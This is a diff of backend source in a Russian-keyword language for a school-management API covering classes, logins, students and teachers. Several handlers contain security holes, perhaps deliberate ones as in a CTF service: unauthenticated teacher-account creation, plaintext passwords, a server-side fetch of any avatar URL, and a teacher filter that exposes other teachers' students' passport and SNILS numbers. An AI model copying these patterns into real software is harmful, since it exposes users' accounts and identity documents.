вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть ид класса = параметры[0]
|
||||
пусть ид ученика = параметры[1]
|
||||
|
||||
пусть клass := джесон.ДжесонМногоЗначений{}
|
||||
|
||||
если админ {
|
||||
клass := картотека.запросить безопасно(`
|
||||
SELECT id FROM classes WHERE id = ?
|
||||
`, оплошность, ид класса)
|
||||
} иначе {
|
||||
клass := картотека.запросить безопасно(`
|
||||
SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ?
|
||||
`, оплошность, ид класса, учитель^.идентификатор)
|
||||
}
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(клass.значения) = 0 {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
пусть ответ = картотека.запросить безопасно(`
|
||||
DELETE FROM class_students
|
||||
WHERE class_id = ? AND student_id = ?
|
||||
RETURNING id
|
||||
`, оплошность, ид класса, ид ученика)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(ответ.значения) = 0 {
|
||||
вернуть хттп.ответ_404()
|
||||
}
|
||||
|
||||
вернуть хттп.ответ_204()
|
||||
}
|
||||
|
||||
фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор {
|
||||
маршрутизатор.добавить маршрут("/api/classes", массивы.Строки["GET"], список классов)
|
||||
маршрутизатор.добавить маршрут("/api/classes", массивы.Строки["POST"], создать клass)
|
||||
маршрутизатор.добавить маршрут("/api/classes/$", массивы.Строки["DELETE"], удалить клass)
|
||||
маршрутизатор.добавить маршрут("/api/classes/$/students/$", массивы.Строки["POST"], добавить ученика в клass)
|
||||
маршрутизатор.добавить маршрут("/api/classes/$/students/$", массивы.Строки["DELETE"], удалить ученика из класса)
|
||||
|
||||
вернуть маршрутизатор
|
||||
}
|
||||
84
исх/властелины/пользователи/пользователи.tri
Normal file
84
исх/властелины/пользователи/пользователи.tri
Normal file
@@ -0,0 +1,84 @@
|
||||
модуль пользователи
|
||||
|
||||
импорт "стд::вывод"
|
||||
импорт "исх/строка"
|
||||
импорт "исх/спринтф"
|
||||
импорт "исх/массивы"
|
||||
импорт "исх/сеть/хттп"
|
||||
импорт "исх/форматы/джесон"
|
||||
импорт "исх/сеть/хттп/маршрутизатор"
|
||||
импорт "исх/картотека"
|
||||
импорт "исх/картотека/репозитории"
|
||||
импорт "исх/бюрократия"
|
||||
|
||||
фн войти*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть картотека = картотека.зайти()
|
||||
пусть оплошность := ""
|
||||
пусть данные = джесон.парсить(обращение.туловище, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть имя пользователя := данные.получить("имя пользователя").строка()
|
||||
пусть пароль := данные.получить("пароль").строка()
|
||||
|
||||
пусть пользователь = репозитории.авторизовать пользователя(имя пользователя^, пароль^, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вывод.ф("$стр\n", оплошность)
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
вернуть хттп.ХттпОтвет{
|
||||
туловище: "Рады видеть вас снова :3"
|
||||
}
|
||||
}
|
||||
|
||||
фн сменить пароль*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть оплошность := ""
|
||||
пусть картотека = картотека.зайти()
|
||||
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
пусть данные = джесон.парсить(обращение.туловище, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть новый пароль := данные.получить("новый пароль").строка()
|
||||
|
||||
если новый пароль = пусто | новый пароль^ = "" {
|
||||
вернуть хттп.ответ_422()
|
||||
}
|
||||
|
||||
картотека.запросить безопасно(`
|
||||
UPDATE users SET password = ? WHERE id = ?
|
||||
`, оплошность, новый пароль^, пользователь^.идентификатор
|
||||
)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
вернуть хттп.ответ_204()
|
||||
}
|
||||
|
||||
фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор {
|
||||
маршрутизатор.добавить маршрут("/api/users/login", массивы.Строки["POST"], войти)
|
||||
маршрутизатор.добавить маршрут("/api/users/password", массивы.Строки["PUT"], сменить пароль)
|
||||
|
||||
вернуть маршрутизатор
|
||||
}
|
||||
381
исх/властелины/пользователи/ученики/ученики.tri
Normal file
381
исх/властелины/пользователи/ученики/ученики.tri
Normal file
@@ -0,0 +1,381 @@
|
||||
модуль ученики
|
||||
|
||||
импорт "стд::вывод"
|
||||
импорт "исх/строка"
|
||||
импорт "исх/спринтф"
|
||||
импорт "исх/массивы"
|
||||
импорт "исх/сеть/хттп"
|
||||
импорт "исх/форматы/джесон"
|
||||
импорт "исх/сеть/хттп/маршрутизатор"
|
||||
импорт "исх/картотека"
|
||||
импорт "исх/картотека/репозитории"
|
||||
импорт "исх/бюрократия"
|
||||
|
||||
фн создать*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть оплошность := ""
|
||||
пусть картотека = картотека.зайти()
|
||||
|
||||
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если учитель = пусто {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
пусть данные = джесон.парсить(обращение.туловище, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть имя := данные.получить("имя").строка()
|
||||
пусть фамилия := данные.получить("фамилия").строка()
|
||||
пусть отчество := данные.получить("отчество").строка()
|
||||
пусть пароль := данные.получить("пароль").строка()
|
||||
пусть повтор пароля := данные.получить("повтор пароля").строка()
|
||||
|
||||
пусть снилс := данные.получить("снилс").строка()
|
||||
пусть паспорт := данные.получить("паспорт").строка()
|
||||
|
||||
если имя = пусто | фамилия = пусто | отчество = пусто | пароль = пусто | повтор пароля = пусто | снилс = пусто | паспорт = пусто {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
если имя^ = "" | фамилия^ = "" | отчество^ = "" | пароль^ = "" | повтор пароля^ = "" | снилс^ = "" | паспорт^ = "" {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
если пароль^ # повтор пароля^ {
|
||||
вернуть хттп.создать ответ(
|
||||
хттп.ответ_400(),
|
||||
хттп.ХттпОтвет{ туловище: "Пароли не совпадают." }
|
||||
)
|
||||
}
|
||||
|
||||
пусть имя пользователя = спринтф.ф("$стр.$стр", имя^, фамилия^)
|
||||
|
||||
пусть ответ = картотека.запросить безопасно(`
|
||||
INSERT INTO users (first_name, last_name, middle_name, username, password)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
RETURNING id
|
||||
`, оплошность, имя^, фамилия^, отчество^, имя пользователя, пароль^)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(ответ.значения) = 0 {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть айди пользователя = ответ.значения[0](:джесон.ДжесонОбъект).получить("id").число()
|
||||
|
||||
если айди пользователя = пусто {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть ученик = картотека.запросить безопасно(`
|
||||
INSERT INTO students (user_id, mentor_id, snils, passport)
|
||||
VALUES (?, ?, ?, ?)
|
||||
RETURNING id
|
||||
`, оплошность,
|
||||
айди пользователя^.значение,
|
||||
учитель^.идентификатор,
|
||||
снилс^,
|
||||
паспорт^
|
||||
)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(ученик.значения) = 0 {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть созданный = ученик.значения[0](:джесон.ДжесонОбъект)
|
||||
пусть идентификатор ученика = созданный.получить("id").число()
|
||||
|
||||
если идентификатор ученика = пусто {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{
|
||||
значения: джесон.ДжесонКлючЗначения[
|
||||
джесон.ДжесонКлючЗначение{ ключ: "идентификатор", значение: джесон.ДжесонЧисло{ значение: идентификатор ученика^.значение } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "имя", значение: джесон.ДжесонСтрока{ значение: имя^ } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "фамилия", значение: джесон.ДжесонСтрока{ значение: фамилия^ } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "отчество", значение: джесон.ДжесонСтрока{ значение: отчество^ } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "снилс", значение: джесон.ДжесонСтрока{ значение: снилс^ } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "паспорт", значение: джесон.ДжесонСтрока{ значение: паспорт^ } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "учитель", значение: джесон.ДжесонЧисло{ значение: учитель^.идентификатор } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "имя пользователя", значение: джесон.ДжесонСтрока{ значение: имя пользователя } }
|
||||
]
|
||||
})
|
||||
|
||||
вернуть хттп.создать ответ(
|
||||
хттп.ответ_201(),
|
||||
хттп.ХттпОтвет{ туловище: тело }
|
||||
)
|
||||
}
|
||||
|
||||
фн список учеников*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть оплошность := ""
|
||||
пусть картотека = картотека.зайти()
|
||||
|
||||
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
|
||||
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если учитель = пусто & ~админ {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
пусть фильтр по учителю := -1
|
||||
пусть параметр учитель = обращение.запрос-в-пути.найти("учитель")
|
||||
|
||||
если параметр учитель # пусто {
|
||||
пусть номер байта := 0
|
||||
строка.извлечь цел(параметр учитель^.значение, номер байта, фильтр по учителю)
|
||||
} иначе если ~админ {
|
||||
фильтр по учителю := учитель^.идентификатор
|
||||
}
|
||||
|
||||
если фильтр по учителю = -1 {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть найдено = картотека.запросить безопасно(`
|
||||
SELECT s.id, s.snils, s.passport, s.mentor_id, u.first_name, u.last_name, u.middle_name, u.username
|
||||
FROM students s
|
||||
JOIN users u ON u.id = s.user_id
|
||||
WHERE s.mentor_id = ?
|
||||
ORDER BY s.id
|
||||
`, оплошность, фильтр по учителю)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть джесон ученики = джесон.ДжесонМногоЗначений{}
|
||||
|
||||
цикл запись среди найдено.значения {
|
||||
пусть объект = запись(:джесон.ДжесонОбъект)
|
||||
|
||||
пусть идентификатор = объект.получить("id").число()
|
||||
пусть имя = объект.получить("first_name").строка()
|
||||
пусть фамилия = объект.получить("last_name").строка()
|
||||
пусть отчество = объект.получить("middle_name").строка()
|
||||
пусть снилс = объект.получить("snils").строка()
|
||||
пусть паспорт = объект.получить("passport").строка()
|
||||
пусть наставник = объект.получить("mentor_id").число()
|
||||
пусть имя пользователя = объект.получить("username").строка()
|
||||
|
||||
пусть студент = джесон.ДжесонОбъект{}
|
||||
студент.вставить("идентификатор", джесон.ДжесонЧисло{ значение: идентификатор^.значение })
|
||||
студент.вставить("имя", джесон.ДжесонСтрока{ значение: имя^ })
|
||||
студент.вставить("фамилия", джесон.ДжесонСтрока{ значение: фамилия^ })
|
||||
студент.вставить("отчество", джесон.ДжесонСтрока{ значение: отчество^ })
|
||||
студент.вставить("снилс", джесон.ДжесонСтрока{ значение: снилс^ })
|
||||
студент.вставить("паспорт", джесон.ДжесонСтрока{ значение: паспорт^ })
|
||||
студент.вставить("наставник", джесон.ДжесонЧисло{ значение: наставник^.значение })
|
||||
студент.вставить("имя пользователя", джесон.ДжесонСтрока{ значение: имя пользователя^ })
|
||||
|
||||
джесон ученики.значения.добавить(студент)
|
||||
}
|
||||
|
||||
пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{
|
||||
значения: джесон.ДжесонКлючЗначения[
|
||||
джесон.ДжесонКлючЗначение{
|
||||
ключ: "ученики",
|
||||
значение: джесон ученики
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
вернуть хттп.ХттпОтвет{ туловище: тело }
|
||||
}
|
||||
|
||||
фн получить*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть оплошность := ""
|
||||
пусть картотека = картотека.зайти()
|
||||
|
||||
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
|
||||
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если учитель = пусто & ~админ {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
если длина(параметры) < 1 {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть ид ученика = параметры[0]
|
||||
|
||||
пусть ученик := джесон.ДжесонМногоЗначений{}
|
||||
|
||||
если админ {
|
||||
ученик := картотека.запросить безопасно(`
|
||||
SELECT s.id, s.snils, s.passport, s.mentor_id, u.first_name, u.last_name, u.middle_name, u.username
|
||||
FROM students s
|
||||
JOIN users u ON u.id = s.user_id
|
||||
WHERE s.id = ?
|
||||
`, оплошность, ид ученика)
|
||||
} иначе {
|
||||
ученик := картотека.запросить безопасно(`
|
||||
SELECT s.id, s.snils, s.passport, s.mentor_id, u.first_name, u.last_name, u.middle_name, u.username
|
||||
FROM students s
|
||||
JOIN users u ON u.id = s.user_id
|
||||
WHERE s.id = ? AND s.mentor_id = ?
|
||||
`, оплошность, ид ученика, учитель^.идентификатор)
|
||||
}
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(ученик.значения) = 0 {
|
||||
вернуть хттп.ответ_404()
|
||||
}
|
||||
|
||||
пусть объект = ученик.значения[0](:джесон.ДжесонОбъект)
|
||||
|
||||
пусть идентификатор = объект.получить("id").число()
|
||||
пусть имя = объект.получить("first_name").строка()
|
||||
пусть фамилия = объект.получить("last_name").строка()
|
||||
пусть отчество = объект.получить("middle_name").строка()
|
||||
пусть снилс = объект.получить("snils").строка()
|
||||
пусть паспорт = объект.получить("passport").строка()
|
||||
пусть наставник = объект.получить("mentor_id").число()
|
||||
пусть имя пользователя = объект.получить("username").строка()
|
||||
|
||||
если идентификатор = пусто | имя = пусто | фамилия = пусто | отчество = пусто | снилс = пусто | паспорт = пусто | наставник = пусто | имя пользователя = пусто {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{
|
||||
значения: джесон.ДжесонКлючЗначения[
|
||||
джесон.ДжесонКлючЗначение{ ключ: "идентификатор", значение: джесон.ДжесонЧисло{ значение: идентификатор^.значение } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "имя", значение: джесон.ДжесонСтрока{ значение: имя^ } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "фамилия", значение: джесон.ДжесонСтрока{ значение: фамилия^ } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "отчество", значение: джесон.ДжесонСтрока{ значение: отчество^ } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "снилс", значение: джесон.ДжесонСтрока{ значение: снилс^ } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "паспорт", значение: джесон.ДжесонСтрока{ значение: паспорт^ } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "наставник", значение: джесон.ДжесонЧисло{ значение: наставник^.значение } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "имя пользователя", значение: джесон.ДжесонСтрока{ значение: имя пользователя^ } }
|
||||
]
|
||||
})
|
||||
|
||||
вернуть хттп.ХттпОтвет{ туловище: тело }
|
||||
}
|
||||
|
||||
фн удалить*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть оплошность := ""
|
||||
пусть картотека = картотека.зайти()
|
||||
|
||||
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если учитель = пусто {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
если длина(параметры) < 1 {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть ид ученика = параметры[0]
|
||||
|
||||
пусть удален = картотека.запросить безопасно(`
|
||||
DELETE FROM students WHERE id = ? AND mentor_id = ?
|
||||
RETURNING id, user_id
|
||||
`, оплошность, ид ученика, учитель^.идентификатор)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(удален.значения) = 0 {
|
||||
вернуть хттп.ответ_404()
|
||||
}
|
||||
|
||||
пусть объект = удален.значения[0](:джесон.ДжесонОбъект)
|
||||
пусть айди пользователя = объект.получить("user_id").число()
|
||||
|
||||
если айди пользователя = пусто {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
картотека.запросить безопасно(`
|
||||
DELETE FROM users WHERE id = ?
|
||||
`, оплошность, айди пользователя^.значение)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
вернуть хттп.ответ_204()
|
||||
}
|
||||
|
||||
фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор {
|
||||
маршрутизатор.добавить маршрут("/api/students", массивы.Строки["POST"], создать)
|
||||
маршрутизатор.добавить маршрут("/api/students", массивы.Строки["GET"], список учеников)
|
||||
маршрутизатор.добавить маршрут("/api/students/$", массивы.Строки["GET"], получить)
|
||||
маршрутизатор.добавить маршрут("/api/students/$", массивы.Строки["DELETE"], удалить)
|
||||
|
||||
вернуть маршрутизатор
|
||||
}
|
||||
215
исх/властелины/пользователи/учителя/учителя.tri
Normal file
215
исх/властелины/пользователи/учителя/учителя.tri
Normal file
@@ -0,0 +1,215 @@
|
||||
модуль учителя
|
||||
|
||||
импорт "стд::вывод"
|
||||
импорт "исх/строка"
|
||||
импорт "исх/спринтф"
|
||||
импорт "исх/массивы"
|
||||
импорт "исх/сеть/хттп"
|
||||
импорт "исх/форматы/джесон"
|
||||
импорт "исх/сеть/хттп/маршрутизатор"
|
||||
импорт "исх/картотека"
|
||||
импорт "исх/картотека/репозитории"
|
||||
импорт "исх/бюрократия"
|
||||
|
||||
фн создать*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть картотека = картотека.зайти()
|
||||
пусть оплошность := ""
|
||||
пусть данные = джесон.парсить(обращение.туловище, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть имя := данные.получить("имя").строка()
|
||||
пусть фамилия := данные.получить("фамилия").строка()
|
||||
пусть отчество := данные.получить("отчество").строка()
|
||||
пусть образование := данные.получить("образование").строка()
|
||||
пусть пароль := данные.получить("пароль").строка()
|
||||
пусть повтор пароля := данные.получить("повтор пароля").строка()
|
||||
пусть аватар = данные.получить("аватар").строка()
|
||||
пусть аватар урл := ""
|
||||
|
||||
если имя = пусто | фамилия = пусто | отчество = пусто | образование = пусто | пароль = пусто | повтор пароля = пусто {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
если имя^ = "" | фамилия^ = "" | отчество^ = "" | образование^ = "" | пароль^ = "" | повтор пароля^ = "" {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
если пароль^ # повтор пароля^ {
|
||||
вернуть хттп.создать ответ(
|
||||
хттп.ответ_400(),
|
||||
хттп.ХттпОтвет{
|
||||
туловище: "Пароли не совпадают.",
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
пусть имя пользователя = спринтф.ф("$стр.$стр", имя^, фамилия^)
|
||||
|
||||
пусть ответ = картотека.запросить безопасно(`
|
||||
INSERT INTO users (first_name, last_name, middle_name, username, password)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
RETURNING id
|
||||
`, оплошность, имя^, фамилия^, отчество^, имя пользователя, пароль^)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть айди пользователя = ответ.значения[0](:джесон.ДжесонОбъект).получить("id").число()
|
||||
|
||||
если айди пользователя = пусто {
|
||||
авария("неверный ответ от базы данных")
|
||||
}
|
||||
|
||||
если аватар # пусто & аватар^ # "" {
|
||||
пусть урл = хттп.парсить урл(аватар^, оплошность)
|
||||
|
||||
если оплошность = "" {
|
||||
пусть ответ = хттп.послать на три буквы(урл.хост, урл.порт, урл.путь)
|
||||
пусть размер контента := 0
|
||||
|
||||
цикл [номер]заглавие среди ответ.заглавия {
|
||||
если заглавие.имя = "Content-Length" {
|
||||
пусть № байта := 0
|
||||
строка.извлечь цел(заглавие.значение, № байта, размер контента)
|
||||
прервать
|
||||
}
|
||||
}
|
||||
|
||||
если размер контента > 0 & размер контента < 1000000 {
|
||||
аватар урл := аватар^
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
пусть учитель = картотека.запросить безопасно(`
|
||||
INSERT INTO teachers (user_id, education, avatar_url)
|
||||
VALUES (?, ?, ?)
|
||||
RETURNING id
|
||||
`, оплошность, айди пользователя^.значение, образование^, аватар урл)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(учитель.значения) = 0 {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть созданный учитель = учитель.значения[0](:джесон.ДжесонОбъект)
|
||||
пусть идентификатор учителя = созданный учитель.получить("id").число()
|
||||
|
||||
если идентификатор учителя = пусто {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{
|
||||
значения: джесон.ДжесонКлючЗначения[
|
||||
джесон.ДжесонКлючЗначение{ ключ: "идентификатор", значение: джесон.ДжесонЧисло{ значение: идентификатор учителя^.значение } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "образование", значение: джесон.ДжесонСтрока{ значение: образование^ } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "имя", значение: джесон.ДжесонСтрока{ значение: имя^ } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "фамилия", значение: джесон.ДжесонСтрока{ значение: фамилия^ } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "отчество", значение: джесон.ДжесонСтрока{ значение: отчество^ } },
|
||||
джесон.ДжесонКлючЗначение{ ключ: "имя пользователя", значение: джесон.ДжесонСтрока{ значение: имя пользователя } }
|
||||
]
|
||||
})
|
||||
|
||||
вернуть хттп.создать ответ(
|
||||
хттп.ответ_201(),
|
||||
хттп.ХттпОтвет{ туловище: тело }
|
||||
)
|
||||
}
|
||||
|
||||
фн список*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть оплошность := ""
|
||||
пусть картотека = картотека.зайти()
|
||||
|
||||
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если ~админ {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
пусть размер страницы := 20
|
||||
пусть номер страницы := 1
|
||||
|
||||
пусть параметр страница = обращение.запрос-в-пути.найти("страница")
|
||||
если параметр страница # пусто {
|
||||
пусть номер байта := 0
|
||||
строка.извлечь цел(параметр страница^.значение, номер байта, номер страницы)
|
||||
}
|
||||
|
||||
если номер страницы < 1 {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть смещение := (номер страницы - 1) * размер страницы
|
||||
|
||||
пусть учителя = картотека.запросить безопасно(`
|
||||
SELECT t.id, t.user_id, t.education, t.avatar_url,
|
||||
u.first_name, u.last_name, u.middle_name, u.username
|
||||
FROM teachers t
|
||||
JOIN users u ON u.id = t.user_id
|
||||
ORDER BY t.id
|
||||
LIMIT ? OFFSET ?
|
||||
`, оплошность, размер страницы, смещение)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть джесон учителя = джесон.ДжесонМногоЗначений{}
|
||||
|
||||
цикл [номер]запись среди учителя.значения {
|
||||
пусть объект = запись(:джесон.ДжесонОбъект)
|
||||
|
||||
пусть идентификатор = объект.получить("id").число()
|
||||
пусть образование = объект.получить("education").строка()
|
||||
пусть имя = объект.получить("first_name").строка()
|
||||
пусть фамилия = объект.получить("last_name").строка()
|
||||
пусть отчество = объект.получить("middle_name").строка()
|
||||
пусть имя пользователя = объект.получить("username").строка()
|
||||
|
||||
пусть учитель = джесон.ДжесонОбъект{}
|
||||
если идентификатор # пусто { учитель.вставить("идентификатор", джесон.ДжесонЧисло{ значение: идентификатор^.значение }) }
|
||||
если образование # пусто { учитель.вставить("образование", джесон.ДжесонСтрока{ значение: образование^ }) }
|
||||
если имя # пусто { учитель.вставить("имя", джесон.ДжесонСтрока{ значение: имя^ }) }
|
||||
если фамилия # пусто { учитель.вставить("фамилия", джесон.ДжесонСтрока{ значение: фамилия^ }) }
|
||||
если отчество # пусто { учитель.вставить("отчество", джесон.ДжесонСтрока{ значение: отчество^ }) }
|
||||
если имя пользователя # пусто { учитель.вставить("имя пользователя", джесон.ДжесонСтрока{ значение: имя пользователя^ }) }
|
||||
|
||||
джесон учителя.значения.добавить(учитель)
|
||||
}
|
||||
|
||||
пусть туловище = джесон.сериализовать(джесон.ДжесонОбъект{
|
||||
значения: джесон.ДжесонКлючЗначения[
|
||||
джесон.ДжесонКлючЗначение{ ключ: "учителя", значение: джесон учителя }
|
||||
]
|
||||
})
|
||||
|
||||
вернуть хттп.ХттпОтвет{ туловище: туловище }
|
||||
}
|
||||
|
||||
фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор {
|
||||
маршрутизатор.добавить маршрут("/api/users", массивы.Строки["POST"], создать)
|
||||
маршрутизатор.добавить маршрут("/api/teachers", массивы.Строки["GET"], список)
|
||||
|
||||
вернуть маршрутизатор
|
||||
}
|
||||
392
исх/властелины/уроки/уроки.tri
Normal file
392
исх/властелины/уроки/уроки.tri
Normal file
@@ -0,0 +1,392 @@
|
||||
модуль уроки
|
||||
|
||||
импорт "стд::вывод"
|
||||
импорт "исх/строка"
|
||||
импорт "исх/спринтф"
|
||||
импорт "исх/массивы"
|
||||
импорт "исх/сеть/хттп"
|
||||
импорт "исх/форматы/джесон"
|
||||
импорт "исх/сеть/хттп/маршрутизатор"
|
||||
